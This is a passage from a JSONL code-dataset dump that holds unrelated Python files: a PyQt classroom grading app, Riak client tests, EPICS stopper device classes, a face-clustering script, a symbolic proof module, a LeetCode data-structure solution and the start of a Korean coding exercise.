self.open.setIconSize(QSize(40,40))\r\n\r\n def change_text(self):\r\n if self.see.text()==\"预览文本内容\":\r\n self.s=self.textEdit.toPlainText()\r\n\r\n def show_text(self):\r\n self.see.setText(\"返回编辑界面\")\r\n self.textEdit.setHtml(self.s)\r\n self.textEdit.setReadOnly(True)\r\n self.see.clicked.disconnect(self.show_text)\r\n self.see.clicked.connect(self.show_html)\r\n\r\n def show_html(self):\r\n self.see.setText(\"预览文本内容\")\r\n self.textEdit.setReadOnly(False)\r\n self.textEdit.setPlainText(self.s)\r\n try:\r\n self.see.clicked.disconnect(self.show_html)\r\n except TypeError:\r\n pass\r\n self.see.clicked.connect(self.show_text)\r\n\r\n def save_html(self):\r\n self.show_html()\r\n with open(\"./saves/html/\"+self.lineEdit.text()+\".html\",\"w\") as f:\r\n f.write(self.textEdit.toPlainText())\r\n QMessageBox.information(self,\"提示\",self.lineEdit.text()+\".html 保存成功!\")\r\n\r\n def open_html(self):\r\n f_name,ok=QFileDialog.getOpenFileName(self,\"选择要打开的html文件\",\".\",\"HTML Files (*.html)\")\r\n if ok:\r\n with open(f_name,\"r\") as f:\r\n f_name=f_name.split('/')\r\n f_name=f_name[len(f_name)-1]\r\n self.lineEdit.setText(f_name[:len(f_name)-5])\r\n self.show_html()\r\n self.textEdit.setPlainText(f.read())\r\n\r\n\r\nclass EditCode(QDialog,Code_Dialog):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n self.setupUi(self)\r\n self.setWindowTitle(\"编写Python代码\")\r\n self.save.setIcon(QIcon(QPixmap(\"./images/save.png\")))\r\n self.save.setIconSize(QSize(40,40))\r\n self.save.clicked.connect(self.run_code)\r\n self.open.setIcon(QIcon(QPixmap(\"./images/open.png\")))\r\n self.open.clicked.connect(self.open_code)\r\n self.open.setIconSize(QSize(40,40))\r\n\r\n def run_code(self):\r\n with open(\"./saves/code/\"+self.lineEdit.text()+\".py\",\"w\") as f:\r\n f.write(self.plainTextEdit.toPlainText())\r\n QMessageBox.information(self,\"提示\",self.lineEdit.text()+\".py 保存成功并在控制台窗口运行!\")\r\n os.system(\"cls\")\r\n print(\"=\"*20+\"RESTART CODE '\"+self.lineEdit.text()+\".py'\"+\"=\"*20)\r\n exec(self.plainTextEdit.toPlainText())\r\n print(\"=\"*20+\"TASK '\"+self.lineEdit.text()+\".py' ENDED!\"+\"=\"*20)\r\n\r\n def open_code(self):\r\n f_name,ok=QFileDialog.getOpenFileName(self,\"选择要打开的python文件\",\"C:\\\\\",\"Python Files (*.py)\")\r\n if ok:\r\n with open(f_name,\"r\") as f:\r\n f_name=f_name.split('/')\r\n f_name=f_name[len(f_name)-1]\r\n self.lineEdit.setText(f_name[:len(f_name)-3])\r\n self.plainTextEdit.setPlainText(f.read())\r\n \r\n\r\nclass EditColor(QDialog,Color_Dialog):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n self.setupUi(self)\r\n self.setWindowTitle(\"选择颜色\")\r\n self.res=()\r\n self.red.valueChanged.connect(self.update_color)\r\n self.green.valueChanged.connect(self.update_color)\r\n self.blue.valueChanged.connect(self.update_color)\r\n self.choose_color.currentTextChanged.connect(self.use_color)\r\n self.update_color()\r\n\r\n def get_color(self):\r\n self.res=(self.red.value(),self.green.value(),self.blue.value())\r\n return self.res\r\n\r\n def update_color(self):\r\n self.show_color.setStyleSheet(\"background-color:rgb\"+str(self.get_color())+\";\")\r\n\r\n def use_color(self):\r\n colors={\"淡灰色\":(220,220,220),\"淡黄色\":(250,250,0),\"浅红色\":(255,100,100),\"淡蓝色\":(110,190,240),\"浅绿色\":(100,255,100),\"亮白色\":(255,255,255)}\r\n cl=colors[self.choose_color.currentText()]\r\n self.red.setValue(cl[0])\r\n self.green.setValue(cl[1])\r\n self.blue.setValue(cl[2])\r\n self.update_color()\r\n\r\n\r\nclass MyWindow(QMainWindow,Ui_MainWindow):\r\n \r\n def __init__(self,parent=None):\r\n super().__init__(parent)\r\n self.setWindowIcon(QIcon(\"./images/logo.png\"))\r\n self.choosed_t=0\r\n self.info_btns=[]\r\n self.del_btns=[]\r\n self.labels=[]\r\n self.setupUi(self)\r\n self.setFixedSize(1300,800)\r\n self.add_class.setIcon(QIcon(QPixmap(\"./images/add.png\")))\r\n self.add_class.setIconSize(QSize(35,35))\r\n self.del_class.setIcon(QIcon(QPixmap(\"./images/del.png\")))\r\n self.del_class.setIconSize(QSize(35,35))\r\n self.info.setIcon(QIcon(QPixmap(\"./images/stu_info.png\")))\r\n self.info.setIconSize(QSize(35,35))\r\n self.add_test.setEnabled(False)\r\n self.add_stu.setEnabled(False)\r\n self.add_stu.hide()\r\n self.sort_btn.hide()\r\n self.score.hide()\r\n self.add_class.clicked.connect(self.new_class)\r\n self.del_class.clicked.connect(self.remove_class)\r\n self.add_test.clicked.connect(self.new_test)\r\n self.add_stu.clicked.connect(self.new_stu)\r\n self.sort_btn.clicked.connect(self.sort_marks)\r\n self.main.clicked.connect(self.main_menu)\r\n self.exit.clicked.connect(self.close)\r\n self.rand_stu.triggered.connect(self.choose_stu)\r\n self.write_html.triggered.connect(self.edit_html)\r\n self.write_Python.triggered.connect(self.edit_code)\r\n self.set_font.triggered.connect(self.reset_font)\r\n self.set_btn.triggered.connect(self.reset_btn)\r\n self.set_bg.triggered.connect(self.reset_bg)\r\n self.choose_class.currentIndexChanged.connect(self.show_tests)\r\n for key in classes.keys():\r\n self.choose_class.addItem(key)\r\n self.setStyleSheet(\"QPushButton{background-color:rgb\"+str(settings[\"BTN_COLOR\"])+\";}\")\r\n self.choose_class.setStyleSheet(\"background-color:rgb\"+str(settings[\"BTN_COLOR\"])+\";\")\r\n self.plainTextEdit.setStyleSheet(\"background-color:rgb\"+str(settings[\"BTN_COLOR\"])+\";\")\r\n plt=QPalette();c=settings[\"BG_COLOR\"]\r\n plt.setColor(self.backgroundRole(),QColor(c[0],c[1],c[2]))\r\n self.setPalette(plt)\r\n font=QFont();font.setFamily(settings[\"FONT\"]);font.setPointSize(15)\r\n self.main.setFont(font)\r\n self.exit.setFont(font)\r\n self.choose_class.setFont(font)\r\n self.add_stu.setFont(font)\r\n self.add_test.setFont(font)\r\n self.sort_btn.setFont(font)\r\n\r\n def new_class(self):\r\n class_name,ok=QInputDialog.getText(self,\"添加班级\",\"请输入班级名:\")\r\n if ok:\r\n clas=echClass(class_name)\r\n classes[class_name]=clas\r\n self.choose_class.addItem(class_name)\r\n QMessageBox.information(self,\"信息\",\"班级添加成功\",QMessageBox.Ok,QMessageBox.Ok)\r\n\r\n def remove_class(self):\r\n ok=QMessageBox.question(self,\"删除班级\",\"您确定要删除该班级吗?\",QMessageBox.Yes|QMessageBox.No,QMessageBox.Yes)\r\n if ok:\r\n classes.pop(self.choose_class.currentText())\r\n self.choose_class.removeItem(self.choose_class.currentIndex())\r\n QMessageBox.information(self,\"信息\",\"班级删除成功\",QMessageBox.Ok,QMessageBox.Ok)\r\n\r\n def new_test(self):\r\n test_name,ok=QInputDialog.getText(self,\"添加测试\",\"请输入测试名:\")\r\n if ok:\r\n classes[self.choose_class.currentText()].add_test(test_name)\r\n self.show_tests()\r\n\r\n def remove_test(self,s):\r\n ok=QMessageBox.question(self,\"删除测试\",\"您确定要删除该测试吗?\",QMessageBox.Yes|QMessageBox.No,QMessageBox.Yes)\r\n if ok==QMessageBox.Yes:\r\n classes[self.choose_class.currentText()].del_test(s)\r\n self.show_tests()\r\n\r\n def new_stu(self):\r\n s,ok1=QInputDialog.getText(self,\"添加学生\",\"请输入学生名:\")\r\n if ok1:\r\n n,ok2=QInputDialog.getInt(self,\"添加学生\",\"请输入学生学号:\")\r\n if ok2:\r\n classes[self.choose_class.currentText()].add_stu(s,int(n))\r\n self.show_stus()\r\n\r\n def remove_stu(self,s):\r\n ok=QMessageBox.question(self,\"删除学生\",\"您确定要删除学生 \"+s+\" 吗?\",QMessageBox.Yes|QMessageBox.No,QMessageBox.Yes)\r\n if ok==QMessageBox.Yes:\r\n classes[self.choose_class.currentText()].del_stu(s)\r\n self.show_stus()\r\n\r\n def change_mark(self,t,s):\r\n clas=classes[self.choose_class.currentText()]\r\n m,ok=QInputDialog.getInt(self,\"更改成绩\",\"请输入 \"+s.name+\" 的成绩:\")\r\n if ok:\r\n clas.tests[t].change(s.name,m)\r\n self.show_marks(t)\r\n\r\n def show_tests(self):\r\n if self.choose_class.currentText()==\"\":\r\n return\r\n self.info.setEnabled(True)\r\n self.add_class.setEnabled(True)\r\n self.del_class.setEnabled(True)\r\n self.info.setIcon(QIcon(QPixmap(\"./images/stu_info.png\")))\r\n try:\r\n self.info.clicked.disconnect(self.show_tests)\r\n except TypeError:\r\n pass\r\n self.info.clicked.connect(self.show_stus)\r\n self.info.setToolTip(\"显示学生信息\")\r\n clas=classes[self.choose_class.currentText()]\r\n self.add_test.setEnabled(True)\r\n for i_btn in self.info_btns:\r\n i_btn.deleteLater()\r\n for d_btn in self.del_btns:\r\n d_btn.deleteLater()\r\n for l in self.labels:\r\n l.deleteLater()\r\n self.add_stu.hide()\r\n self.info_btns.clear()\r\n self.del_btns.clear()\r\n self.labels.clear()\r\n i=0\r\n self.scrollAreaWidgetContents.resize(990,(len(clas.tests)+1)*60+10)\r\n while i0:\r\n s=random.choice(classes[self.choose_class.currentText()].stus)\r\n QMessageBox.information(self,\"随机点名\",str(s.no)+\"号 \"+s.name+\" 被点中了!\")\r\n return None\r\n QMessageBox.warning(self,\"出错了\",\"程序不知道怎么点名QwQ\")\r\n\r\n def edit_html(self):\r\n d=EditHtml()\r\n d.exec_()\r\n\r\n def edit_code(self):\r\n d=EditCode()\r\n d.exec_()\r\n\r\n def reset_font(self):\r\n f,ok=QFontDialog.getFont()\r\n if ok:\r\n f.setPointSize(15)\r\n settings[\"FONT\"]=f.family()\r\n self.main.setFont(f)\r\n self.exit.setFont(f)\r\n self.choose_class.setFont(f)\r\n self.add_stu.setFont(f)\r\n self.add_test.setFont(f)\r\n self.sort_btn.setFont(f)\r\n self.show_tests()\r\n\r\n def reset_btn(self):\r\n d=EditColor()\r\n ok=d.exec_()\r\n if ok:\r\n s=\"rgb\"+str(d.res)\r\n settings[\"BTN_COLOR\"]=d.res\r\n self.setStyleSheet(\"QPushButton{background-color:\"+s+\";}\")\r\n self.choose_class.setStyleSheet(\"background-color:\"+s+\";\")\r\n self.plainTextEdit.setStyleSheet(\"background-color:\"+s+\";\")\r\n c=settings[\"BG_COLOR\"];plt=QPalette()\r\n plt.setColor(QPalette.Background,QColor(c[0],c[1],c[2]))\r\n self.setPalette(plt)\r\n\r\n def reset_bg(self,event):\r\n d=EditColor()\r\n ok=d.exec_()\r\n if ok:\r\n settings[\"BG_COLOR\"]=d.res\r\n plt=QPalette()\r\n plt.setColor(QPalette.Background,QColor(d.res[0],d.res[1],d.res[2]))\r\n self.setPalette(plt)\r\n\r\n def closeEvent(self,QCloseEvent):\r\n reply=QMessageBox.question(self,\"退出程序\",\"退出前需要保存您所做的更改吗?\",QMessageBox.Yes|QMessageBox.No|QMessageBox.Cancel,QMessageBox.Yes)\r\n if reply==QMessageBox.Yes:\r\n saver.save(classes)\r\n QCloseEvent.accept()\r\n f_obj=open(\"./saves/AppSetting.json\",\"w\")\r\n json.dump(settings,f_obj,indent=4)\r\n elif reply==QMessageBox.No:\r\n QCloseEvent.accept()\r\n else:\r\n QCloseEvent.ignore()\r\n\r\n\r\nprint(\" --*| 正在开启ECH…… |*-- \")\r\nprint(\"===================================\")\r\nprint(\" 这是控制台窗口,请不要关闭! \")\r\ntime.sleep(1)\r\npyqtRemoveInputHook()\r\napp=QApplication(sys.argv)\r\nsplash=QSplashScreen(QPixmap(\"./images/loading.png\"))\r\nsplash.showMessage(\"正在加载存档……\")\r\nsplash.show()\r\ntry:\r\n classes=saver.load()\r\nexcept FileNotFoundError:\r\n pass\r\ntry:\r\n f_obj=open(\"./saves/AppSetting.json\",\"r\")\r\n settings=json.load(f_obj)\r\n settings[\"BTN_COLOR\"]=tuple(settings[\"BTN_COLOR\"])\r\n settings[\"BG_COLOR\"]=tuple(settings[\"BG_COLOR\"])\r\nexcept FileNotFoundError:\r\n pass\r\ntime.sleep(1)\r\nsplash.showMessage(\"正在初始化……\")\r\nwindow=MyWindow()\r\ntime.sleep(1)\r\nsplash.showMessage(\"完成!\")\r\ntime.sleep(1)\r\nwindow.show()\r\nsplash.finish(window)\r\nsys.exit(app.exec_())","sub_path":"echSourceCode/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":19652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"140775547","text":"import unittest\r\nimport riak\r\nimport jsonpickle\r\n\r\n\r\nclass RiakTestCase(unittest.TestCase):\r\n def setUp(self):\r\n n = riak.RiakNode() # defaults to 127.0.0.1:8098\r\n self.client = riak.RiakClient(protocol='http', nodes=[n])\r\n self.client.set_encoder('application/json', jsonpickle.encode)\r\n self.client.set_decoder('application/json', jsonpickle.decode)\r\n self.bucket = self.client.bucket(\"sandbox\")\r\n\r\n def tearDown(self):\r\n # clean up the test bucket\r\n keys = self.client.get_keys(self.bucket)\r\n for k in keys:\r\n self.bucket.delete(k)\r\n\r\n\r\nclass BasicTests(RiakTestCase):\r\n def test_ping(self):\r\n self.assertTrue(self.client.ping())\r\n\r\n def test_get_existent_test_bucket(self):\r\n b = self.client.bucket('test')\r\n self.assertIsNotNone(b)\r\n self.assertEquals(b.name, 'test')\r\n\r\n def test_get_nonexistent_bucket(self):\r\n b = self.client.bucket('nonexistent')\r\n self.assertIsNotNone(b)\r\n self.assertEquals(b.name, 'nonexistent')\r\n\r\n\r\nclass Data1(object):\r\n def __init__(self):\r\n self.a = 'A'\r\n self.b = 'B'\r\n\r\n\r\nclass Data2(object):\r\n def __init__(self):\r\n self.c = 'C'\r\n self.o = Data1()\r\n\r\n\r\nclass ScenarioTests(RiakTestCase):\r\n def test_insert(self):\r\n # create new object\r\n o = self.bucket.new('new', 'data')\r\n self.assertEquals(o.data, 'data')\r\n # test that new object is not stored yet\r\n self.assertIsNotNone(self.bucket.get('new'))\r\n self.assertIsNone(self.bucket.get('new').data)\r\n # store the object\r\n o.store()\r\n # test that new object is stored\r\n self.assertIsNotNone(self.bucket.get('new'))\r\n self.assertEquals(self.bucket.get('new').data, 'data')\r\n\r\n def test_serialization(self):\r\n d = Data2()\r\n o = self.bucket.new('serialized', d)\r\n o.store()\r\n g = self.bucket.get('serialized')\r\n self.assertEquals(g.data.c, 'C')\r\n self.assertEquals(g.data.o.a, 'A')\r\n\r\n\r\n","sub_path":"python/test_riak.py","file_name":"test_riak.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"604261267","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nGeneric X-Ray Stoppers\n\"\"\"\nimport logging\nfrom enum import Enum\n\nfrom .state import pvstate_class\nfrom .device import Device\nfrom .signal import EpicsSignal\nfrom .component import Component as C\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass Commands(Enum):\n \"\"\"\n Command aliases for ``CMD``\n \"\"\"\n close_stopper = 0\n open_stopper = 1\n\n\nPPS = pvstate_class('PPS',\n {'summary': {'pvname': '',\n 0: 'out',\n 1: 'unknown',\n 2: 'unknown',\n 3: 'unknown',\n 4: 'in'}},\n doc='MPS Summary of Stopper state')\n\n\nLimits = pvstate_class('Limits',\n {'open_limit': {'pvname': ':OPEN',\n 0: 'defer',\n 1: 'out'},\n 'closed_limit': {'pvname': ':CLOSE',\n 0: 'defer',\n 1: 'in'}},\n doc='State description of Stopper limits')\n\n\nclass PPSStopper(Device):\n \"\"\"\n PPS Stopper\n\n Control of this device only available to PPS systems. This class merely\n interprets the summary of limit switches to let the controls system know\n the current position\n \"\"\"\n summary = C(PPS, '')\n\n def __init__(self, prefix, *, name=None,\n read_attrs=None,\n mps=None, **kwargs):\n\n if not read_attrs:\n read_attrs = ['summary']\n\n super().__init__(prefix,\n read_attrs=read_attrs,\n name=name, **kwargs)\n\n\nclass Stopper(Device):\n \"\"\"\n Controls Stopper\n\n Similar to the :class:`.GateValve`, the Stopper class provides basic\n support for Controls stoppers i.e stoppers that can be commanded from\n outside the PPS system\n \"\"\"\n command = C(EpicsSignal, ':CMD')\n limits = C(Limits, '')\n\n commands = Commands\n\n def __init__(self, prefix, *, name=None,\n read_attrs=None,\n mps=None, **kwargs):\n\n if read_attrs is None:\n read_attrs = ['limits']\n\n super().__init__(prefix,\n read_attrs=read_attrs,\n name=name, **kwargs)\n\n def open(self):\n \"\"\"\n Remove the stopper from the beam\n \"\"\"\n self.command.put(self.commands.open_stopper)\n\n def close(self):\n \"\"\"\n Close the stopper\n \"\"\"\n self.command.put(self.commands.close_stopper)\n","sub_path":"pcdsdevices/epics/stopper.py","file_name":"stopper.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"50939601","text":"import sys\nimport os\nimport dlib\nimport glob\nimport cv2\nimport shutil\nimport datetime\nfrom imutils import paths\nimport face_recognition\nimport argparse\nimport pickle\nfrom matplotlib import pyplot\nfrom mtcnn.mtcnn import MTCNN\n\n\ndef cluster_images(faces_folder_path, output_folder_path, output_folder_path1, predictor_path, face_rec_model_path):\n\tsp = dlib.shape_predictor(predictor_path)\n\tfacerec = dlib.face_recognition_model_v1(face_rec_model_path)\n\n\tdescriptors = []\n\timages = []\n\t# Now find all the faces and compute 128D face descriptors for each face.\n\tfor l, f in enumerate(glob.glob(os.path.join(faces_folder_path, \"*\"))):\n\t\tprint(\"Processing file: {}\".format(f))\n\t\tprint(\"[INFO] processing image {}/{}\".format(l + 1,len(os.listdir(faces_folder_path))))\n\t\timg = pyplot.imread(f)\n\t\tdetector1 = MTCNN()\n\t\tfaces = detector1.detect_faces(img)\n\t\tboxes1=[]\n\t\tfor result in faces:\n\t\t x, y, width, height = result['box']\n\t\t boxes1.append(dlib.rectangle(x,y,x+width,y+height))\n\t\tprint('aaaaaaaa',len(boxes1))\n\n\t\tfor k, d in enumerate(boxes1):\n\t\t\t\t# d= dlib.rectangle(d.left()-500, d.top()-500,d.right()+50, d.bottom()+50)\n\t\t\t\t# Get the landmarks/parts for the face in box d.\n\t\t\t\tshape = sp(img, d)\n\t\t\t\t# Compute the 128D vector that describes the face in img identified by\n\t\t\t\t# shape.\n\t\t\t\tface_descriptor = facerec.compute_face_descriptor(img, shape)\n\t\t\t\t#print('descriptors', face_descriptor)\n\t\t\t\tdescriptors.append(face_descriptor)\n\n\t\t\t\timages.append((img, shape))\n\tprint('face_descriptor',len(descriptors))\n\t# Now let's cluster the faces.\n\tlabels = dlib.chinese_whispers_clustering(descriptors, 0.4)\n\tnum_classes = len(set(labels))\n\n\tfor j in range(0, num_classes):\n\t\tindices = []\n\t\tfor i, label in enumerate(labels):\n\t\t\tif label == j:\n\t\t\t\tindices.append(i)\n\t\tif len(indices) > 1:\n\n\t\t\t# Ensure output directory exists\n\t\t\tif not os.path.isdir(output_folder_path + '/####' + str(j)):\n\t\t\t\tos.makedirs(output_folder_path + '/####' + str(j))\n\n\t\t\tif not os.path.isdir(output_folder_path1 + '/####' + str(j)):\n\t\t\t\tos.makedirs(output_folder_path1 + '/####' + str(j))\n\t\t\t# Save the extracted faces\n\t\t\tfor i, index in enumerate(indices):\n\t\t\t\tname_image = currentDT.strftime(\"%Y-%m-%d %H:%M:%S\")\n\t\t\t\timg, shape = images[index]\n\t\t\t\tfile_path = os.path.join(output_folder_path + '/####' + str(j), str(name_image) + str(j) + '-' + str(i))\n\t\t\t\t# The size and padding arguments are optional with default size=150x150 and padding=0.25\n\t\t\t\tdlib.save_face_chip(img, shape, file_path, size=150, padding=0.25)\n\t\t\t\tfile_path1 = os.path.join(output_folder_path1 + '/####' + str(j),\n\t\t\t\t\t\t\t\t\t\t str(name_image) + str(j) + '-' + str(i) + '.jpg')\n\t\t\t\t# image path must end with one of [.bmp, .png, .dng, .jpg, .jpeg] for dlib.save_image\n\t\t\t\tdlib.save_image(img, file_path1)\n\ndef compare_folders(pickle_name,output_folder_path,output_folder_path1):\n\tdata = pickle.loads(open(pickle_name, \"rb\").read())\n\tfor fn in os.listdir(output_folder_path):\n\t\tif fn.startswith('####'):\n\t\t\timage=(os.listdir(output_folder_path+'/'+fn)[0])\n\t\t\timage = cv2.imread(output_folder_path+'/'+fn+'/'+image)\n\n\t\t\trgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n\t\t\tboxes = face_recognition.face_locations(rgb,\n\t\t\t\tmodel='cnn')\n\t\t\tencodings = face_recognition.face_encodings(rgb, boxes)\n\t\t\tnames = []\n\t\t\tfor (j,encoding) in enumerate(encodings):\n\t\t\t\tmatches = face_recognition.compare_faces(data[\"encodings\"],\n\t\t\t\t\tencoding,tolerance=0.4)\n\t\t\t\t# check to see if we have found a match\n\t\t\t\tif True in matches:\n\t\t\t\t\tmatchedIdxs = [i for (i, b) in enumerate(matches) if b]\n\t\t\t\t\tcounts = {}\n\t\t\t\t\tfor i in matchedIdxs:\n\t\t\t\t\t\tname = data[\"names\"][i]\n\t\t\t\t\t\tcounts[name] = counts.get(name, 0) + 1\n\t\t\t\t\tname = max(counts, key=counts.get)\n\t\t\t\t\tfor f in os.listdir(output_folder_path+'/'+fn):\n\t\t\t\t\t\tshutil.move(output_folder_path+'/'+fn+'/'+f, output_folder_path+'/'+name)\n\t\t\t\t\tfor f in os.listdir(output_folder_path1+'/'+fn):\n\t\t\t\t\t\tshutil.move(output_folder_path1+'/'+fn+'/'+f, output_folder_path1+'/'+name)\n\t\t\t\t\tos.rmdir(output_folder_path+'/'+fn)\n\t\t\t\t\tos.rmdir(output_folder_path1+'/'+fn)\n\t\n\t\n\n\ndef rename_folders(face_path,groups_path):\n\tfor fn in os.listdir(face_path):\n\t\t\n\t\tif fn.startswith('####'):\n\t\t\ttry:\n\t\t\t\timage=(os.listdir(face_path+'/'+fn)[0])\n\t\t\t\timage = cv2.imread(face_path+'/'+fn+'/'+image)\n\t\t\t\timage = cv2.resize(image, (500, 500))\n\t\t\t\tcv2.imshow(\"title\", image)\n\t\t\t\tcv2.waitKey(10)\n\t\t\t\ta=input('enter name of folder---:')\n\t\t\t\tif a=='nn':\n\t\t\t\t\tos.rmdir(face_path+'/'+fn)\n\t\t\t\t\tos.rmdir(groups_path+'/'+fn)\n\t\t\t\telse:\n\t\t\t\t\tos.rename(face_path+'/'+str(fn), face_path+'/'+str(a))\t\n\t\t\t\t\tos.rename(groups_path+'/'+str(fn), groups_path+'/'+str(a))\n\n\t\t\texcept OSError as err:\n\t\t\t\tfor f in os.listdir(face_path+'/'+fn):\n\t\t\t\t\tshutil.move(face_path+'/'+fn+'/'+f,face_path+'/'+a)\n\t\t\t\tos.rmdir(face_path+'/'+fn)\t\n\t\t\t\tfor f in os.listdir(groups_path+'/'+fn):\n\t\t\t\t\tshutil.move(groups_path+'/'+fn+'/'+f,groups_path+'/'+a)\n\t\t\t\tos.rmdir(groups_path+'/'+fn)\n\ndef training_images(output_folder_path,pickle_name):\n\n\timagePaths = list(paths.list_images(output_folder_path))\n\n\t# initialize the list of known encodings and known names\n\tknownEncodings = []\n\tknownNames = []\n\n\t# loop over the image paths\n\tfor (i, imagePath) in enumerate(imagePaths):\n\t\t# extract the person name from the image path\n\t\tprint(\"[INFO] processing image {}/{}\".format(i + 1,\n\t\t\tlen(imagePaths)))\n\t\tname = imagePath.split(os.path.sep)[-2]\n\t\timage = pyplot.imread(imagePath)\n\t\t#image = cv2.imread(imagePath)\n\t\tdetector = MTCNN()\n\t\tfaces = detector.detect_faces(image)\n\t\tprint('faces',len(faces))\n\t\tboxes=[]\n\n\t\tfor result in faces:\n\t\t\tx, y, width, height = result['box']\n\t\t\tboxes.append((y,x+width,y+height,x))\n\n\n\t\tencodings = face_recognition.face_encodings(image, boxes)\n\n\t\t# loop over the encodings\n\t\tfor encoding in encodings:\n\t\t\t# add each encoding + name to our set of known names and\n\t\t\t# encodings\n\t\t\tknownEncodings.append(encoding)\n\t\t\tknownNames.append(name)\n\n\tprint('knownEncodings',len(knownEncodings))\n\t# dump the facial encodings + names to disk\n\tprint(\"[INFO] serializing encodings...\")\n\tdata = {\"encodings\": knownEncodings, \"names\": knownNames}\n\tf = open(pickle_name, \"wb\")\n\tf.write(pickle.dumps(data))\n\tf.close()\n\n\npredictor_path = 'shape_predictor_5_face_landmarks.dat'\nface_rec_model_path = 'dlib_face_recognition_resnet_model_v1.dat'\nfaces_folder_path = 'test3'\noutput_folder_path = 'faces1'\noutput_folder_path1 = 'groups1'\npickle_name='faces1.pickle'\n\ncurrentDT = datetime.datetime.now()\n\ncluster_images(faces_folder_path,output_folder_path,output_folder_path1,predictor_path,face_rec_model_path)\nif os.path.exists(pickle_name): \n\tcompare_folders(pickle_name,output_folder_path,output_folder_path1)\nrename_folders(output_folder_path,output_folder_path1)\ntraining_images(output_folder_path,pickle_name)\n","sub_path":"mtcnn_full_training.py","file_name":"mtcnn_full_training.py","file_ext":"py","file_size_in_byte":6728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"551577769","text":"from util import *\n\n\n@apply\ndef apply(is_negative, is_nonnegative, k=None):\n a = is_negative.of(Expr < 0)\n b = is_nonnegative.of(Expr >= 0)\n\n assert a.is_integer and b.is_integer\n if k is None:\n k = a.generate_var(b.free_symbols, integer=True)\n return Equal(Cup[k:a:b](Interval(k, k + 1, right_open=True)), Interval(a, b, right_open=True))\n\n\n@prove\ndef prove(Eq):\n from axiom import sets, algebra\n\n a, b, k = Symbol(integer=True)\n Eq << apply(a < 0, b >= 0, k)\n\n Eq << sets.cup.to.union.split.apply(Cup[k:a:b](Eq[-1].lhs.expr), cond=Range(a, 0))\n\n Eq <<= algebra.lt.imply.eq.max.apply(Eq[0]), algebra.ge.imply.eq.min.apply(Eq[1])\n\n Eq <<= Eq[-3].rhs.args[1].this.subs(Eq[-2]), Eq[-3].rhs.args[0].this.subs(Eq[-1])\n\n Eq <<= sets.ge_zero.imply.eq.cup.to.interval.right_open.apply(Eq[1], k), sets.lt_zero.imply.eq.cup.to.interval.right_open.apply(Eq[0], k)\n\n Eq <<= Eq[-4].subs(Eq[-2]), Eq[-3].subs(Eq[-1])\n\n Eq << Eq[3].subs(Eq[-1], Eq[-2])\n\n Eq << sets.lt.le.imply.eq.union.interval.right_open.apply(Eq[0], Eq[1].reversed, right_open=True)\n\n Eq << Eq[-2].subs(Eq[-1])\n\n\nif __name__ == '__main__':\n run()\n# created on 2021-02-21\n","sub_path":"axiom/sets/lt_zero/ge_zero/imply/eq/cup/to/interval/right_open.py","file_name":"right_open.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"64780402","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nimport random\nclass RandomizedCollection:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.dict={}\n self.num=[]\n\n def insert(self, val: int) -> bool:\n \"\"\"\n Inserts a value to the collection. Returns true if the collection did not already contain the specified element.\n \"\"\"\n n=len(self.num)\n self.num.append(val)\n if val in self.dict:\n self.dict[val].add(n)\n return False\n else:\n self.dict[val]=set([n])\n return True\n \n def remove(self, val: int) -> bool:\n \"\"\"\n Removes a value from the collection. Returns true if the collection contained the specified element.\n \"\"\"\n if self.num==[] or val not in self.dict:\n return False\n else:\n lidx=len(self.num)-1\n litm=self.num[-1]\n idx=self.dict[val].pop()\n \n self.dict[litm].add(idx)\n self.dict[litm].remove(lidx)\n self.num[idx]=self.num[lidx]\n \n self.num.pop()\n if len(self.dict[val])==0:\n del self.dict[val]\n return True\n\n \n def getRandom(self) -> int:\n \"\"\"\n Get a random element from the collection.\n \"\"\"\n \n return self.num[random.randint(0,len(self.num)-1)] if len(self.num)>0 else -1\n\n","sub_path":"HW6/Leetcode 381 Insert Delete GetRandom O(1) - Duplicates allowed.py","file_name":"Leetcode 381 Insert Delete GetRandom O(1) - Duplicates allowed.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"183368528","text":"'''\n직사각형을 만드는 데 필요한 4개의 점 중 3개의 좌표가 주어질 때, 나머지 한 점의 좌표를 구하려고 합니다. 직사각형을 이루는 좌표를 담은 배열 v와 배열 v의 길이 v_len이 매개변수로 주어질 때, 직사각형을 만드는 데 필요한 나머지 한 점의 좌표를 return 하도록 solution 함수를 완성해주세요. 단, 직사각형의 각 변은 x축, y축에 평행하며, 반드시 직사각형을 만들 수 있는 경우만 입력으로 주어집니다.\n\n제한사항\nv는 세 점의 좌표가 들어있는 2차원 배열입니다.\nv의 각 원소는 점의 좌표를 나타내며, 좌표는 [x축 좌표, y축 좌표] 순으로 주어집니다.\n좌표값은 1 이상 10억 이하의 자연수입니다.\nv_len은 항상 3입니다.\n직사각형을 만드는 데 필요한 나머지 한 점의 좌표를 [x축 좌표, y축 좌표] 순으로 담아 return 해주세요.\n입출력 예\nv\tv_len\tresult\n[[1, 4], [3, 4], [3, 10]]\t3\t[1, 10]\n[[1, 1], [2, 2], [1, 2]]\t3\t[2, 1]\n입출력 예 설명\n입출력 예 #1\n세 점이 [1, 4], [3, 4], [3, 10] 위치에 있을 때, [1, 10]에 점이 위치하면 직사각형이 됩니다.\n\n입출력 예 #2\n세 점이 [1, 1], [2, 2], [1, 2] 위치에 있을 때, [2, 1]에 점이 위치하면 직사각형이 됩니다.\n'''\n\ndef 